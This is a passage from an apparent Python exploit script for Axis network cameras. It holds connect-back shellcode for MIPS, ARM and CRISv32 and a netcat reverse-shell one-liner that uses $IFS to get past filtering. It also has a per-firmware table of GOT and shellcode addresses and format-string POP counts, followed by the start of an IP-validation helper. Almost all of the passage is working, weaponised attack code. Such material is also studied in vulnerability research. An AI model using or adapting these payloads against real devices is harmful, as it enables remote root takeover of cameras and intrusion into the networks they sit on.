0xFFFF\r\n\t\t#\r\n\t\t# dup2 stdout\r\n\t\t\"%c9%0f%02%24\" #li\tv0,4041\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t#\r\n\t\t# dup2 stderr\r\n\t\t\"%c9%0f%02%24\" #li\tv0,4041\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t#\r\n\t\t# Port\r\n\t\t\"PP1PP0%05%3c\"\r\n\t\t\"%01%ff%a5%34\"\r\n\t\t#\r\n\t\t\"%01%01%a5%20\" #addi\ta1,a1,257\r\n\t\t\"%f8%ff%a5%af\" #sw\ta1,-8(sp)\r\n\t\t#\r\n\t\t# IP\r\n\t\t\"IP3IP4%05%3c\"\r\n\t\t\"IP1IP2%a5%34\"\r\n\t\t#\r\n\t\t\"%fc%ff%a5%af\" #sw\ta1,-4(sp)\r\n\t\t\"%f8%ff%a5%23\" #addi\ta1,sp,-8\r\n\t\t\"%ef%ff%0c%24\" #li\tt4,-17\r\n\t\t\"%27%30%80%01\" #nor\ta2,t4,zero\r\n\t\t\"%4a%10%02%24\" #li\tv0,4170\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t#\r\n\t\t\"%62%69%08%3c\" #lui\tt0,0x6962\r\n\t\t\"%2f%2f%08%35\" #ori\tt0,t0,0x2f2f\r\n\t\t\"%ec%ff%a8%af\" #sw\tt0,-20(sp)\r\n\t\t\"%73%68%08%3c\" #lui\tt0,0x6873\r\n\t\t\"%6e%2f%08%35\" #ori\tt0,t0,0x2f6e\r\n\t\t\"%f0%ff%a8%af\" #sw\tt0,-16(sp\r\n\t\t\"%ff%ff%07%28\" #slti\ta3,zero,-1\r\n\t\t\"%f4%ff%a7%af\" #sw\ta3,-12(sp)\r\n\t\t\"%fc%ff%a7%af\" #sw\ta3,-4(sp\r\n\t\t\"%ec%ff%a4%23\" #addi\ta0,sp,-20\r\n\t\t\"%ec%ff%a8%23\" #addi\tt0,sp,-20\r\n\t\t\"%f8%ff%a8%af\" #sw\tt0,-8(sp)\r\n\t\t\"%f8%ff%a5%23\" #addi\ta1,sp,-8\r\n\t\t\"%ec%ff%bd%27\" #addiu\tsp,sp,-20\r\n\t\t\"%ff%ff%06%28\" #slti\ta2,zero,-1\r\n\t\t\"%ab%0f%02%24\" #li\tv0,4011 (execve)\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t], '')\t\r\n\r\n\t\t# Working netcat shell\r\n\t\t# - $PATH will locate 'mkfifo', 'nc' and 'rm'\r\n\t\t# - LHOST / LPORT will be changed on the fly later in the code\r\n\t\t# - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting\r\n\t\t# - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator]\r\n\t\t# $ echo -n \"$IFS\" | hexdump -C\r\n\t\t# 00000000 20 09 0a\r\n\t\t# - $PS1 = $ [By default, and we need something to \"comment\" out our trailing FMS code from /bin/sh -c]\r\n\t\t#\r\n\t\t# '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator\r\n\t\t#\r\n\t\t# Working with Apache and Boa\r\n#\t\tNCSH = \"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\\\"5\\\"$IFS\\\"LHOST\\\"$IFS\\\"LPORT\\\"$IFS0</tmp/s|/bin/sh>/tmp/s\\\"$IFS\\\"2>/tmp/s;rm$IFS/tmp/s;$PS1\"\r\n\t\tNCSH = \"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\\\"5\\\"$IFS\\\"LHOST\\\"$IFS\\\"LPORT\\\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1\"\r\n\r\n\t\tARMel = string.join([\r\n\t\t# original: http://shell-storm.org/shellcode/files/shellcode-754.php\r\n\t\t# 32-bit instructions, enter thumb mode\r\n\t\t\"%01%10%8f%e2\"\t# add r1, pc, #1\r\n\t\t\"%11%ff%2f%e1\"\t# bx r1\r\n\r\n\t\t# 16-bit thumb instructions follow\r\n\t\t#\r\n\t\t# socket(2, 1, 0)\r\n\t\t\"%02%20\"\t#mov r0, #2\r\n\t\t\"%01%21\"\t#mov r1, #1\r\n\t\t\"%92%1a\"\t#sub r2, r2, r2\r\n\t\t\"%0f%02\"\t#lsl r7, r1, #8\r\n\t\t\"%19%37\"\t#add r7, r7, #25\r\n\t\t\"%01%df\"\t#svc 1\r\n\t\t#\r\n\t\t# connect(r0, &addr, 16)\r\n\t\t\"%06%1c\"\t#mov r6, r0\r\n\t\t\"%08%a1\"\t#add r1, pc, #32\r\n\t\t\"%10%22\"\t#mov r2, #16\r\n\t\t\"%02%37\"\t#add r7, #2\r\n\t\t\"%01%df\"\t#svc 1\r\n\t\t#\r\n\t\t# dup2(r0, 0/1/2)\r\n\t\t\"%3f%27\"\t#mov r7, #63\r\n\t\t\"%02%21\"\t#mov r1, #2\r\n\t\t#\r\n\t\t#lb:\r\n\t\t\"%30%1c\"\t#mov r0, r6\r\n\t\t\"%01%df\"\t#svc 1\r\n\t\t\"%01%39\"\t#sub r1, #1\r\n\t\t\"%fb%d5\"\t#bpl lb\r\n\t\t#\r\n\t\t# execve(\"/bin/sh\", [\"/bin/sh\", 0], 0)\r\n\t\t\"%05%a0\"\t#add r0, pc, #20\r\n\t\t\"%92%1a\"\t#sub r2, r2, r2\r\n\t\t\"%05%b4\"\t#push {r0, r2}\r\n\t\t\"%69%46\"\t#mov r1, sp\r\n\t\t\"%0b%27\"\t#mov r7, #11\r\n\t\t\"%01%df\"\t#svc 1\r\n\t\t#\r\n\t\t\"%c0%46\"\t# .align 2 (NOP)\r\n\t\t\"%02%00\"\t# .short 0x2\t\t(struct sockaddr)\r\n\t\t\"PP1PP0\"\t# .short 0x3412\t\t(port: 0x1234)\r\n\t\t\"IP1IP2IP3IP4\"\t#.byte 192,168,57,1\t(ip: 192.168.57.1)\r\n\t\t# .ascii \"/bin/sh\\0\\0\"\r\n\t\t\"%2f%62%69%6e\"\t# /bin\r\n\t\t\"%2f%73%68%00%00\"\t# /sh\\x00\\x00\r\n\t\t\"%00%00%00%00\"\r\n\t\t\"%c0%46\"\r\n\t\t], '')\t\r\n\r\n\r\n\t\t# Connect-back shell for Axis CRISv32\r\n\t\t# Written by mcw noemail eu 2016\r\n\t\t#\r\n\t\tCRISv32 = string.join([\r\n\t\t#close(0)\r\n\t\t\"%7a%86\"\t\t# clear.d r10 \r\n\t\t\"%5f%9c%06%00\"\t\t# movu.w 0x6,r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t#close(1)\r\n\t\t\"%41%a2\"\t\t# moveq 1,r10\r\n\t\t\"%5f%9c%06%00\"\t\t# movu.w 0x6,r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t#close(2)\r\n\t\t\"%42%a2\"\t\t# moveq 2,r10\r\n\t\t\"%5f%9c%06%00\"\t\t# movu.w 0x6,r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t#\r\n\t\t\"%10%e1\"\t\t# addoq 16,sp,acr\r\n\t\t\"%42%92\"\t\t# moveq 2,r9\r\n\t\t\"%df%9b\"\t\t# move.w r9,[acr]\r\n\t\t\"%10%e1\"\t\t# addoq 16,sp,acr\r\n\t\t\"%02%f2\"\t\t# addq 2,acr\r\n\t\t#PORT\r\n\t\t\"%5f%9ePP1PP0\"\t\t# move.w 0xPP1PP0,r9 #\r\n\t\t\"%df%9b\"\t\t# move.w r9,[acr]\r\n\t\t\"%10%e1\"\t\t# addoq 16,sp,acr\r\n\t\t\"%6f%96\"\t\t# move.d acr,r9\r\n\t\t\"%04%92\"\t\t# addq 4,r9\r\n\t\t#IP\r\n\t\t\"%6f%feIP1IP2IP3IP4\"\t# move.d IP4IP3IP2IP1,acr\r\n\t\t\"%e9%fb\"\t\t# move.d acr,[r9]\r\n\t\t#\r\n\t\t#socket()\r\n\t\t\"%42%a2\"\t\t# moveq 2,r10\r\n\t\t\"%41%b2\"\t\t# moveq 1,r11\r\n\t\t\"%7c%86\"\t\t# clear.d r12\r\n\t\t\"%6e%96\"\t\t# move.d $sp,$r9\r\n\t\t\"%e9%af\"\t\t# move.d $r10,[$r9+]\r\n\t\t\"%e9%bf\"\t\t# move.d $r11,[$r9+]\r\n\t\t\"%e9%cf\"\t\t# move.d $r12,[$r9+]\r\n\t\t\"%41%a2\"\t\t# moveq 1,$r10\r\n\t\t\"%6e%b6\"\t\t# move.d $sp,$r11\r\n\t\t\"%5f%9c%66%00\"\t\t# movu.w 0x66,$r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t#\r\n\t\t\"%6a%96\"\t\t# move.d $r10,$r9\r\n\t\t\"%0c%e1\"\t\t# addoq 12,$sp,$acr\r\n\t\t\"%ef%9b\"\t\t# move.d $r9,[$acr]\r\n\t\t\"%0c%e1\"\t\t# addoq 12,$sp,$acr\r\n\t\t\"%6e%96\"\t\t# move.d $sp,$r9\r\n\t\t\"%10%92\"\t\t# addq 16,$r9\r\n\t\t\"%6f%aa\"\t\t# move.d [$acr],$r10\r\n\t\t\"%69%b6\"\t\t# move.d $r9,$r11\r\n\t\t\"%50%c2\"\t\t# moveq 16,$r12\r\n\t\t#\r\n\t\t# connect()\r\n\t\t\"%6e%96\"\t\t# move.d $sp,$r9\r\n\t\t\"%e9%af\"\t\t# move.d $r10,[$r9+]\r\n\t\t\"%e9%bf\"\t\t# move.d $r11,[$r9+]\r\n\t\t\"%e9%cf\"\t\t# move.d $r12,[$r9+]\r\n\t\t\"%43%a2\"\t\t# moveq 3,$r10\r\n\t\t\"%6e%b6\"\t\t# move.d $sp,$r11\r\n\t\t\"%5f%9c%66%00\"\t\t# movu.w 0x66,$r9 \r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t# dup(0) already in socket\r\n\t\t#dup(1)\r\n\t\t\"%6f%aa\"\t\t# move.d [$acr],$r10\r\n\t\t\"%41%b2\"\t\t# moveq 1,$r11\r\n\t\t\"%5f%9c%3f%00\"\t\t# movu.w 0x3f,$r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t#\r\n\t\t#dup(2)\r\n\t\t\"%6f%aa\"\t\t# move.d [$acr],$r10\r\n\t\t\"%42%b2\"\t\t# moveq 2,$r11\r\n\t\t\"%5f%9c%3f%00\"\t\t# movu.w 0x3f,$r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t#\r\n\t\t#execve(\"/bin/sh\",NULL,NULL)\r\n\t\t\"%90%e2\"\t\t# subq 16,$sp\r\n\t\t\"%6e%96\"\t\t# move.d $sp,$r9\r\n\t\t\"%6e%a6\"\t\t# move.d $sp,$10\r\n\t\t\"%6f%0e%2f%2f%62%69\"\t# move.d 69622f2f,$r0\r\n\t\t\"%e9%0b\"\t\t# move.d $r0,[$r9]\r\n\t\t\"%04%92\"\t\t# addq 4,$r9\r\n\t\t\"%6f%0e%6e%2f%73%68\"\t# move.d 68732f6e,$r0\r\n\t\t\"%e9%0b\"\t\t# move.d $r0,[$r9]\r\n\t\t\"%04%92\"\t\t# addq 4,$r9\r\n\t\t\"%79%8a\"\t\t# clear.d [$r9]\r\n\t\t\"%04%92\"\t\t# addq 4,$r9\r\n\t\t\"%79%8a\"\t\t# clear.d [$r9]\r\n\t\t\"%04%92\"\t\t# addq 4,$r9\r\n\t\t\"%e9%ab\"\t\t# move.d $r10,[$r9]\r\n\t\t\"%04%92\"\t\t# addq 4,$r9\r\n\t\t\"%79%8a\"\t\t# clear.d [$r9]\r\n\t\t\"%10%e2\"\t\t# addq 16,$sp\r\n\t\t\"%6e%f6\"\t\t# move.d $sp,$acr\r\n\t\t\"%6e%96\"\t\t# move.d $sp,$r9\r\n\t\t\"%6e%b6\"\t\t# move.d $sp,$r11\r\n\t\t\"%7c%86\"\t\t# clear.d $r12\r\n\t\t\"%4b%92\"\t\t# moveq 11,$r9\r\n\t\t\"%3d%e9\"\t\t# break 13\r\n\t\t\t], '')\t\r\n\r\n\r\n\t\tif self.target == 'MIPSel':\r\n\t\t\treturn MIPSel\r\n\t\telif self.target == 'ARMel':\r\n\t\t\treturn ARMel\r\n\t\telif self.target == 'CRISv32':\r\n\t\t\treturn CRISv32\r\n\t\telif self.target == 'NCSH1':\r\n\t\t\treturn NCSH\r\n\t\telif self.target == 'NCSH2':\r\n\t\t\treturn NCSH\r\n\t\telse:\r\n\t\t\tprint \"[!] Unknown shellcode! (%s)\" % str(self.target)\r\n\t\t\tsys.exit(1)\r\n\r\n\r\nclass FMSdb:\r\n\r\n\tdef __init__(self,targetIP,verbose):\r\n\t\tself.targetIP = targetIP\r\n\t\tself.verbose = verbose\r\n\r\n\tdef FMSkey(self,target):\r\n\t\tself.target = target\r\n\r\n\t\ttarget_db = {\r\n\r\n#-----------------------------------------------------------------------\r\n# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH)\r\n#-----------------------------------------------------------------------\r\n\r\n#\r\n# Using POP format string, AKA 'Old Style'\r\n#\r\n\t\t# MPQT\r\n\t\t'MIPS-5.85.x':\t [\r\n\t\t\t\t0x41f370,\t# Adjust to GOT free() address\r\n\t\t\t\t0x420900,\t# .bss shellcode address\r\n\t\t\t\t2,\t\t# 1st POP's\r\n\t\t\t\t2,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.40.3': [\r\n\t\t\t\t0x41e41c,\t# Adjust to GOT free() address\r\n\t\t\t\t0x4208cc,\t# .bss shellcode address\r\n\t\t\t\t7,\t\t# 1st POP's\r\n\t\t\t\t11,\t\t# 2nd POP's\r\n\t\t\t\t'ax',\t\t# Aligns injected code\r\n\t\t\t\t450,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.4x': [\t\r\n\t\t\t\t0x41e4cc,\t# Adjust to GOT free() address\r\n\t\t\t\t0x42097c,\t# .bss shellcode address\r\n\t\t\t\t7,\t\t# 1st POP's\r\n\t\t\t\t11,\t\t# 2nd POP's\r\n\t\t\t\t'ax',\t\t# Aligns injected code\r\n\t\t\t\t450,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.5x': [\r\n\t\t\t\t0x41d11c,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41f728,\t# .bss shellcode address\r\n\t\t\t\t5,\t\t# 1st POP's\r\n\t\t\t\t15,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.55x': [\t\r\n\t\t\t\t0x41d11c,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41f728,\t# .bss shellcode address\r\n\t\t\t\t11,\t\t# 1st POP's\r\n\t\t\t\t9,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# Shared with MPQT and PACS\r\n\t\t'MIPS-5.6x': [\t\r\n\t\t\t\t0x41d048,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41f728,\t# .bss shellcode address\r\n\t\t\t\t5,\t\t# 1st POP's\r\n\t\t\t\t15,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.7x': [\t\r\n\t\t\t\t0x41d04c,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41f718,\t# .bss shellcode address\r\n\t\t\t\t2,\t\t# 1st POP's\r\n\t\t\t\t14,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.75x': [\r\n\t\t\t\t0x41c498,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41daf0,\t# .bss shellcode address\r\n\t\t\t\t3,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# Shared with MPQT and PACS\r\n\t\t'MIPS-5.8x': [\r\n\t\t\t\t0x41d0c0,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41e740,\t# .bss shellcode address\r\n\t\t\t\t3,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-5.9x': [ \r\n\t\t\t\t0x41d0c0,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41e750,\t# .bss shellcode address\r\n\t\t\t\t3,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-6.1x': [\r\n\t\t\t\t0x41c480,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41dac0,\t# .bss shellcode address\r\n\t\t\t\t3,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-6.2x': [\r\n\t\t\t\t0x41e578,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41fae0,\t# .bss shellcode address\r\n\t\t\t\t2,\t\t# 1st POP's\r\n\t\t\t\t2,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'MIPS-6.20x': [\r\n\t\t\t\t0x41d0c4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x41e700,\t# .bss shellcode address\r\n\t\t\t\t3,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axi',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# PACS\r\n\t\t'MIPS-1.3x': [\r\n\t\t\t\t0x41e4cc,\t# Adjust to GOT free() address\r\n\t\t\t\t0x420a78,\t# .bss shellcode address\r\n\t\t\t\t7,\t\t# 1st POP's\r\n\t\t\t\t11,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n\t\t# PACS\r\n\t\t'MIPS-1.1x': [\r\n\t\t\t\t0x41e268,\t# Adjust to GOT free() address\r\n\t\t\t\t0x420818,\t# .bss shellcode address\r\n\t\t\t\t7,\t\t# 1st POP's\r\n\t\t\t\t11,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'MIPSel'\t# Shellcode type\r\n\t\t],\r\n\r\n#\r\n# Tested with execstack to set executable stack flag bit on bin's and lib's\r\n#\r\n# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working.\r\n#\r\n\r\n\t\t# ARMel with bin/libs executable stack flag set with 'execstack'\r\n\t\t# MPQT\r\n\t\t'ARM-5.50x': [\t\t\t# \r\n\t\t\t\t0x1c1b4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x1e7c8,\t# .bss shellcode address\r\n\t\t\t\t93,\t\t# 1st POP's\r\n\t\t\t\t1,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t700,\t\t# How big buffer before shellcode\r\n\t\t\t\t'ARMel'\t\t# Shellcode type (ARMel)\r\n\t\t],\r\n\r\n\t\t# ARMel with bin/libs executable stack flag set with 'execstack'\r\n\t\t# MPQT\r\n\t\t'ARM-5.55x': [\t\t\t# \r\n\t\t\t\t0x1c15c,\t# Adjust to GOT free() address\r\n\t\t\t\t0x1e834,\t# .bss shellcode address\r\n\t\t\t\t59,\t\t# 1st POP's\r\n\t\t\t\t80,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t800,\t\t# How big buffer before shellcode\r\n\t\t\t\t'ARMel'\t\t# Shellcode type (ARMel)\r\n\t\t],\r\n\r\n#\r\n# Using direct parameter access format string, AKA 'New Style'\r\n#\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.20x': [\t\t# AXIS P1311 5.20 (id=root)\r\n\t\t\t\t0x1c1b4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x10178,\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t61,\t\t# 1st POP's\r\n\t\t\t\t115,\t\t# 2nd POP's\r\n\t\t\t\t143,\t\t# 3rd POP's\r\n\t\t\t\t118,\t\t# 4th POP's\r\n\t\t\t\t'NCSH2'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.2x': [\t\t# \r\n\t\t\t\t0x1c1b4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x1013c,\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t61,\t\t# 1st POP's\r\n\t\t\t\t115,\t\t# 2nd POP's\r\n\t\t\t\t143,\t\t# 3rd POP's\r\n\t\t\t\t118,\t\t# 4th POP's\r\n\t\t\t\t'NCSH2'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.4x': [\t\t# \r\n\t\t\t\t0x1c1b4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x101fc,\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t61,\t\t# 1st POP's\r\n\t\t\t\t115,\t\t# 2nd POP's\r\n\t\t\t\t143,\t\t# 3rd POP's\r\n\t\t\t\t118,\t\t# 4th POP's\r\n\t\t\t\t'NCSH2'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n#\r\n# Using POP format string, AKA 'Old Style'\r\n#\r\n\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.5x': [\t\t# \r\n\t\t\t\t0x1c15c,\t# Adjust to GOT free() address\r\n\t\t\t\t0xfdcc,\t\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t97,\t\t# 1st POP's\r\n\t\t\t\t0,\t\t# 2nd POP's\r\n\t\t\t\t41,\t\t# 3rd POP's\r\n\t\t\t\t0,\t\t# 4th POP's\r\n\t\t\t\t'NCSH1'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.6x': [\t\t# \r\n\t\t\t\t0x1c15c,\t# Adjust to GOT free() address\r\n\t\t\t\t0xfcec,\t\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t97,\t\t# 1st POP's\r\n\t\t\t\t0,\t\t# 2nd POP's\r\n\t\t\t\t41,\t\t# 3rd POP's\r\n\t\t\t\t0,\t\t# 4th POP's\r\n\t\t\t\t'NCSH1'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.7x': [\t\t# \r\n\t\t\t\t0x1c1c0,\t# Adjust to GOT free() address\r\n\t\t\t\t0xf800,\t\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t132,\t\t# 1st POP's\r\n\t\t\t\t0,\t\t# 2nd POP's\r\n\t\t\t\t34,\t\t# 3rd POP's\r\n\t\t\t\t0,\t\t# 4th POP's\r\n\t\t\t\t'NCSH1'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n\r\n\t\t# Will go in endless loop after exit of nc shell... DoS sux\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-5.8x': [\t\t# \r\n\t\t\t\t0x1b39c,\t# Adjust to GOT free() address\r\n\t\t\t\t0xf8c0,\t\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t98,\t\t# 1st POP's\r\n\t\t\t\t0,\t\t# 2nd POP's\r\n\t\t\t\t34,\t\t# 3rd POP's\r\n\t\t\t\t1,\t\t# 4th POP's\r\n\t\t\t\t'NCSH1'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'ARM-NCSH-6.1x': [\t\t# \r\n\t\t\t\t0x1d2a4,\t# Adjust to GOT free() address\r\n#\t\t\t\t0xecc4,\t\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t0xecc8,\t\t# Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\"\r\n\t\t\t\t106,\t\t# 1st POP's\r\n\t\t\t\t0,\t\t# 2nd POP's\r\n\t\t\t\t34,\t\t# 3rd POP's\r\n\t\t\t\t1,\t\t# 4th POP's\r\n\t\t\t\t'NCSH1'\t\t# Shellcode type (Netcat Shell)\r\n\t\t],\r\n#\r\n# Using POP format string, AKA 'Old Style'\r\n#\r\n\r\n\t\t# MPQT\r\n\t\t'CRISv32-5.5x': [\t\t# \r\n\t\t\t\t0x8d148,\t# Adjust to GOT free() address\r\n\t\t\t\t0x8f5a8,\t# .bss shellcode address\r\n\t\t\t\t4,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t470,\t\t# How big buffer before shellcode\r\n\t\t\t\t'CRISv32'\t# Shellcode type (Crisv32)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'CRISv32-5.4x': [\t\t# \r\n\t\t\t\t0x8d0e0,\t# Adjust to GOT free() address\r\n\t\t\t\t0x8f542,\t# .bss shellcode address\r\n\t\t\t\t4,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t470,\t\t# How big buffer before shellcode\r\n\t\t\t\t'CRISv32'\t# Shellcode type (Crisv32)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'CRISv32-5.2x': [\t\t# \r\n\t\t\t\t0x8d0b4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x8f4d6,\t# .bss shellcode address\r\n\t\t\t\t4,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t470,\t\t# How big buffer before shellcode\r\n\t\t\t\t'CRISv32'\t# Shellcode type (Crisv32)\r\n\t\t],\r\n\r\n\t\t# MPQT\r\n\t\t'CRISv32-5.20.0': [\t\t# \r\n\t\t\t\t0x8d0e4,\t# Adjust to GOT free() address\r\n\t\t\t\t0x8f546,\t# .bss shellcode address\r\n\t\t\t\t4,\t\t# 1st POP's\r\n\t\t\t\t13,\t\t# 2nd POP's\r\n\t\t\t\t'axis',\t\t# Aligns injected code\r\n\t\t\t\t470,\t\t# How big buffer before shellcode\r\n\t\t\t\t'CRISv32'\t# Shellcode type (Crisv32)\r\n\t\t]\r\n\r\n\r\n\t}\r\n\r\n\t\tif self.target == 0:\r\n\t\t\treturn target_db\r\n\t\t\t\r\n\t\tif not self.target in target_db:\r\n\t\t\tprint \"[!] Unknown FMS key: %s!\" % self.target\r\n\t\t\tsys.exit(1)\r\n\t\r\n\t\tif self.verbose:\r\n\t\t\tprint \"[Verbose] Number of availible FMS keys:\",len(target_db)\r\n\r\n\t\treturn target_db\r\n\r\n\r\n#\r\n# Validate correctness of HOST, IP and PORT\r\n#\r\nclass Validate:\r\n\r\n\tdef __init__(self,verbose):\r\n\t\tself.verbose = verbose\r\n\r\n\t# Check if IP is valid\r\n\tdef CheckIP(self,IP):\r\n\t\tself.IP = IP\r\n\r\n\t\tip = self.IP.split('.')\r\n\t\tif len(ip) != 4:\r\n\t\t\treturn False\r\n\t\tfor tmp in ip:\r\n\t\t\tif not tmp.isdigit():\r\n\t\t\t\treturn False\r\n\t\ti = int(tmp)\r\n\t\tif i < 0 or i > 255:\r\n\t\t\treturn False\r\n\t\treturn True\r\n\r\n\t# 